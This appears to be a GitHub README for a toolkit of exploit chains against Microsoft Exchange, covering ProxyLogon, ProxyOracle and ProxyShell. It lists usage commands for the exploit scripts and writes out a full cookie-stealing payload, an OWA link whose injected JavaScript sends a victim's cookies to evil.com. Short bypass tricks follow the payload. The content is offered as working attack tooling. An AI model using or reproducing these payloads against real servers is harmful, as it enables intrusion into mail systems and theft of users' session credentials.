ProxyVulns
[ProxyLogon] CVE-2021-26855 & CVE-2021-27065 Fixed RawIdentity Bug Exploit. [ProxyOracle] CVE-2021-31195 & CVE-2021-31196 Exploit Chains. [ProxyShell] CVE-2021-34473 & CVE-2021-34523 & CVE-2021-31207 Exploit Chains.
Install / Use
/learn @hosch3n/ProxyVulnsREADME
ProxyVulns
ProxyLogon
Usage: python3 26855.py 1.1.1.1
ProxyOracle
Once a victim clicks this link, evil.com will receive the cookies.
https://ews.lab/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};document.cookie=`X-AnonResource-Backend=@evil.com:443/path/any.php%23~1941962753`;document.cookie=`X-AnonResource=true`;fetch(`/owa/auth/any.skin`,{credentials:`include`});//
pip3 install pycryptodome
Usage: python3 31196.py 1.1.1.1 'cadata=xxx; cadataTTL=yyy; ...'
ProxyShell
pip3 install pypsrp
Usage: python3 34473.py 1.1.1.1
Usage: python3 31207.py 1.1.1.1 [Local File Path] [UNC Absolute Path]
Not working in some versions target(due to
/@gmail.compath), maybe fix it later
Others
-
Cookie: securitytoken=foobar -
/owa/calendar/foobar@exchange.local/foobar/owa14.aspx/.js
Reference
ProxyLogon Vulnerability Analysis(Chinese)
https://docs.microsoft.com/en-us/exchange/architecture/mailbox-servers/recreate-arbitration-mailboxes?view=exchserver-2019
ProxyOracle Vulnerability Analysis(Chinese)
https://github.com/mwielgoszewski/python-paddingoracle
